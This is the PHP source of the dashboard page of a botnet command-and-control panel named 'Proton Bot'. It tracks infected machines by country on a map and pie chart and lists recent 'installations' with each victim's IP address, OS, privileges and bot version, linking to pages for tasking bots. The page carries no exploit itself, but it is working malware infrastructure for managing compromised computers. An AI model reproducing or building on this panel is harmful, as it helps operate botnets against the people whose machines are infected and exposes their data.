<?php
$u = explode(":", $_SESSION['LiteHTTP']);
$username = $u[0];

include 'inc/stats.php';
include 'inc/geo/geoip.inc';
include 'inc/localization.php';
$gi = geoip_open("inc/geo/GeoIP.dat", "");
include 'inc/jquery/countriesJson.php';
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Control Panel</title>

	<meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'>
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
	<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
	<link href="css/ionicons.min.css" rel="stylesheet" type="text/css" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
	<link href="upload/jqmap/jqvmap.css" media="screen" rel="stylesheet" type="text/css"/>
	<link href="css/jquery.jqplot.css" rel="stylesheet" type="text/css" />

	<script type="text/javascript" src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
	<script type="text/javascript" src = "js/jquery.jqplot.js"></script>
	<script type="text/javascript" src = "js/jqplot.pieRenderer.js"></script>
	<script type="text/javascript" src = "js/jqplot.enhancedPieLegendRenderer.js"></script>
	<script type="text/javascript" src = "js/getCountryName.js"></script>
	<script type="text/javascript" src="upload/jqmap/jquery.vmap.js"></script>
	<script type="text/javascript" src="upload/jqmap/maps/jquery.vmap.world.js"></script>
	

	<script type="text/javascript">
	$(document).ready(function() {
		// CREATING MAP
		var gdpData = <?php echo json_encode($countryInfects, true); ?>;
		var gdpObj = JSON.parse(JSON.stringify(gdpData));
		var infectsSum = 0;
		var max = 0,
			min = Number.MAX_VALUE,
			cc,
			startColor = [200, 238, 255],
			endColor = [0, 100, 145],
			colors = {},
			hex;
		for (cc in gdpData)
		{
			if (parseFloat(gdpData[cc]) > max)
			{
				max = parseFloat(gdpData[cc]);
			}
			if (parseFloat(gdpData[cc]) < min)
			{
				min = parseFloat(gdpData[cc]);
			}
		}
		for (cc in gdpData)
		{
			if (gdpData[cc] > 0)
			{
				infectsSum += gdpData[cc];
				colors[cc] = '#';
				for (var i = 0; i < 3; i++)
				{
					hex = Math.round(startColor[i]
						+ (endColor[i]
						- startColor[i])
						* (gdpData[cc] / (max - min))).toString(16);

					if (hex.length == 1)
					{
						hex = '0'+hex;
					}

					colors[cc] += (hex.length == 1 ? '0' : '') + hex;
				}
			}
		}
		var infectedCountriesNumber = <?php echo count($infectedCountries); ?> ;
		var averageInfects = infectsSum/infectedCountriesNumber;
		$('#vmap').vectorMap({
			colors: colors,
			map: 'world_en',
			backgroundColor: '#f9f9f9',
			borderColor: '#000000',
			borderOpacity: 1,
			borderWidth: 0.25,
			color: '#C8EEFF',
			selectedColor: '#C9DFAF',
			multiSelectRegion: false,
			enableZoom: false,
			scaleColors: ['#C8EEFF', '#006491'],
			onRegionClick: function(element, code, region)
			{
				window.location.href = "?p=tasks&countryname="+region;
			}
		});
		// END CREATING MAP

		// CREATING PIROG
		var line1 = []; 
		var otherNum = 0;
		for (var prop_name in gdpObj) {
			if(parseFloat(gdpObj[prop_name]) > averageInfects){
				line1.push([getCountryName(prop_name.toUpperCase()), gdpObj[prop_name]]);
			}
			else{
				otherNum += parseFloat(gdpObj[prop_name]);
			}
		}
		line1.push(['Others', otherNum]);
		rainbow = {
			seriesStyles: {
				seriesColors: ['red', 'orange', 'yellow', 'green', 'blue', 'indigo', 'IndianRed', 'lightsalmon', 'khaki', 'lightgreen', 'lightblue', 'darkorchid'],
			}
		};
		blues = {
			seriesStyles: {
				seriesColors: ['#c6dcff', '#9ec3ff', '#81a6e2', '#537dc1', '#3e64a3', '#5c83b2', '#2b4877'],
			}
		};
		var plot1 = $.jqplot('pie1', 
			[line1],
			{
				gridPadding: {top:0, bottom:38, left:0, right:0},
				grid: {
					drawBorder: false, 
					drawGridlines: false,
					background: '#f9f9f9',
					shadow:false
				},
				seriesDefaults:{
					renderer:$.jqplot.PieRenderer, 
					trendline:{ show:false }, 
					rendererOptions: { padding: 8, showDataLabels: true }
				},
				legend: {
					show: true,
					location: 'e',
					renderer: $.jqplot.EnhancedPieLegendRenderer,
					rendererOptions: {
						numberColumns: 3,
						numberRows: 10,
					}
				}
		});
		plot1.themeEngine.newTheme('rainbow', rainbow);
		plot1.themeEngine.newTheme('blues', blues);
    	plot1.activateTheme('rainbow');
		// END CREATING PIROG
	});

	</script>

	<!--[if lt IE 9]>
		<script src="js/html5shiv.js"></script>
		<script src="js/respond.min.js"></script>
	<![endif]-->
</head>
<body class="wysihtml5-supported skin-black fixed">
	<header class="header">
		<a href="?p=main" class="logo">
			Proton Bot
		</a>
		<nav class="navbar navbar-static-top" role="navigation">
			<div class="navbar-right">
                <ul class="nav navbar-nav">
                    <li>
                        <a href = "inc/localization.php?language=ENG">
                            <img src="img/flags/gb.png" alt="English">
						</a>
                    </li>
                    <li>
                        <a style="padding-left:0px" href = "inc/localization.php?language=RU">
                            <img src="img/flags/ru.png" alt="Русский">
                        </a>
                    </li>
					<li class="dropdown user user-menu">
						<a style="padding-left:0px" href="#" class="dropdown-toggle" data-toggle="dropdown">
							<i class="glyphicon glyphicon-user"></i>
							<span><?php echo $username; ?> <i class="caret"></i></span>
						</a>
						<ul class="dropdown-menu">
							<li class="user-footer">
								<div class="pull-left">
									<a href="?p=account" class="btn btn-default btn-flat"><?php print($pageText['editaccount'][0]); ?></a>
								</div>
								<div class="pull-right">
									<a href="?p=logout" class="btn btn-default btn-flat"><?php print($pageText['logout'][0]); ?></a>
								</div>
							</li>
						</ul>
					</li>
				</ul>
			</div>
		</nav>
	</header>
	<div class="wrapper row-offcanvas row-offcanvas-left">
		<aside class="left-side sidebar-offcanvas">
			<section class="sidebar">
				<ul class="sidebar-menu">
					<li class="active">
						<a href="?p=main">
							<i class="fa fa-dashboard"></i> <span> <?php print($pageText['dashboard'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=bots">
							<i class="fa fa-list"></i> <span> <?php print($pageText['bots'][0]); ?> </span>
							<small id="online-left-bar" class="badge pull-right bg-green">
    							<?php
        							echo $online;
                                ?>
                            </small>
						</a>
					</li>
					<li>
						<a href="?p=tasks">
							<i class="fa fa-bar-chart"></i> <span> <?php print($pageText['tasks'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=settings">
							<i class="fa fa-cog"></i> <span> <?php print($pageText['settings'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=users">
							<i class="fa fa-users"></i> <span> <?php print($pageText['users'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=logs">
							<i class="fa fa-list-alt"></i> <span> <?php print($pageText['logs'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=help">
							<i class="fa fa-question"></i> <span> <?php print($pageText['help'][0]); ?> </span>
						</a>
					</li>
				</ul>
			</section>
		</aside>
		<aside class="right-side">
			<section class="content">
				<div class="row">
					<div class="col-lg-4 col-xs-9">
                        <div class="small-box bg-green">
                            <div class="inner">
                                <h3 id = "online-bots-block"><?php echo $online; ?></h3>
                                <p><?php print($pageText['onlinebots'][0]); ?></p>
                            </div>
							<div class="icon">
                                    			<i class="fa fa-cloud-upload"></i>
                                			</div>
							<a class="small-box-footer"><br></a>
                            		</div>
                        		</div>
					<div class="col-lg-4 col-xs-9">
						<div class="small-box bg-red">
							<div class="inner">
								<h3 id = "dead-bots-block"><?php echo $dead; ?></h3>
								<p><?php print($pageText['dead_bots'][0]); ?></p>
							</div>
							<div class="icon">
								<i class="fa fa-close"></i>
							</div>
							<a class="small-box-footer"><br></a>
						</div>
					</div>
					<div class="col-lg-4 col-xs-9">
						<div class="small-box bg-aqua">
							<div class="inner">
								<h3 id = "total-bots-block"><?php echo $total; ?></h3>
								<p><?php print($pageText['totalbots'][0]); ?></p>
							</div>
							<div class="icon">
								<i class="fa fa-list"></i>
							</div>
							<a class="small-box-footer"><br></a>
						</div>
					</div>
				</div>
				<center>
					<div class = "row">
						<div id = "pie1" class="col-lg-4 col-xs-8" style="padding: 0px;height:400px;width:40%">
							
						</div>
						<div class="col-lg-4 col-xs-8" style="padding: 0px;width:60%">
							<div id="vmap" style="width: 100%; height: 400px;">
							</div>
						</div>
					</div>
				</center>
				<div class="row">
					<div id = "last5-table" class="col-lg-12 col-xs-24">
					 	<h3><?php print($pageText['last5installations'][0]); ?></h3>
						<table id="lastfive" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th>#</th>
									<th><?php print($pageText['ip'][0]); ?></th>
									<th><?php print($pageText['country'][0]); ?></th>
									<th><?php print($pageText['installdate'][0]); ?></th>
									<th><?php print($pageText['os'][0]); ?></th>
									<th><?php print($pageText['privileges'][0]); ?></th>
									<th><?php print($pageText['botversion'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
							<?php
								if ($total != "0")
								{
									$bots = $odb->query("SELECT * FROM bots ORDER BY installdate DESC LIMIT 5");
									while ($b = $bots->fetch(PDO::FETCH_ASSOC))
									{
										$id = $b['id'];
										$ip = $b['ipaddress'];
										$cn = geoip_country_name_by_id($gi, $b['country']);
										$fl = strtolower(geoip_country_code_by_id($gi, $b['country']));
										$in = date("m-d-Y, h:i A", $b['installdate']);
										$os = $b['operatingsys'];
										$pv = $b['privileges'];
										$bv = $b['botversion'];
										echo '<tr><td>'.$id.'</td><td>'.$ip.'</td><td>'.$cn.'&nbsp;&nbsp;<img src="img/flags/'.$fl.'.png" /></td><td>'.$in.'</td><td>'.$os.'</td><td>'.$pv.'</td><td>'.$bv.'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
							?>
							</tbody>
						</table>
					</div>
				</div>
				<br><br>
				<div id = "bottom-stats" class="row">
					<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['top3countries'][0]); ?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['country'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$csel = $odb->query("SELECT country, COUNT(*) AS cnt FROM bots GROUP BY country ORDER BY cnt DESC LIMIT 3");
									while ($c = $csel->fetch())
									{
										echo '<tr><td>'.geoip_country_name_by_id($gi, $c[0]).'</td><td>'.number_format($c[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
					<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['top3os'][0]);?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['os'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$osel = $odb->query("SELECT operatingsys, COUNT(*) AS cnt FROM bots GROUP BY operatingsys ORDER BY cnt DESC LIMIT 3");
									while ($o = $osel->fetch())
									{
										echo '<tr><td>'.$o[0].'</td><td>'.number_format($o[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
					<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['privileges'][0]); ?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['privilege'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$psel = $odb->query("SELECT privileges, COUNT(*) AS cnt FROM bots GROUP BY privileges ORDER BY cnt DESC");
									while ($p = $psel->fetch())
									{
										echo '<tr><td>'.$p[0].'</td><td>'.number_format($p[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
				</div>
			</section>
		</aside>
	</div>
	<!--<script src="js/jquery.min.js" type="text/javascript"></script>-->
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="js/jquery-ui.min.js" type="text/javascript"></script>
	<script>
		$(document).ready(function() {
			setInterval(function () {
				jQuery('#vmap').bind('regionClick.jqvmap',
					function(event, code, region)
					{
						window.location.href = "?p=tasks&countryname="+region;
					}
				);
				$('#online-left-bar').load('../inc/jquery/online.php')
				$('#online-bots-block').load('../inc/jquery/online.php')
				$('#dead-bots-block').load('../inc/jquery/dead.php')
				$('#total-bots-block').load('../inc/jquery/total.php')
				$('#bottom-stats').load('../inc/jquery/main-bottom.php')
				$('#last5-table').load('../inc/jquery/last5.php')
			}, 100);
		});
	</script>
	
</body>
</html>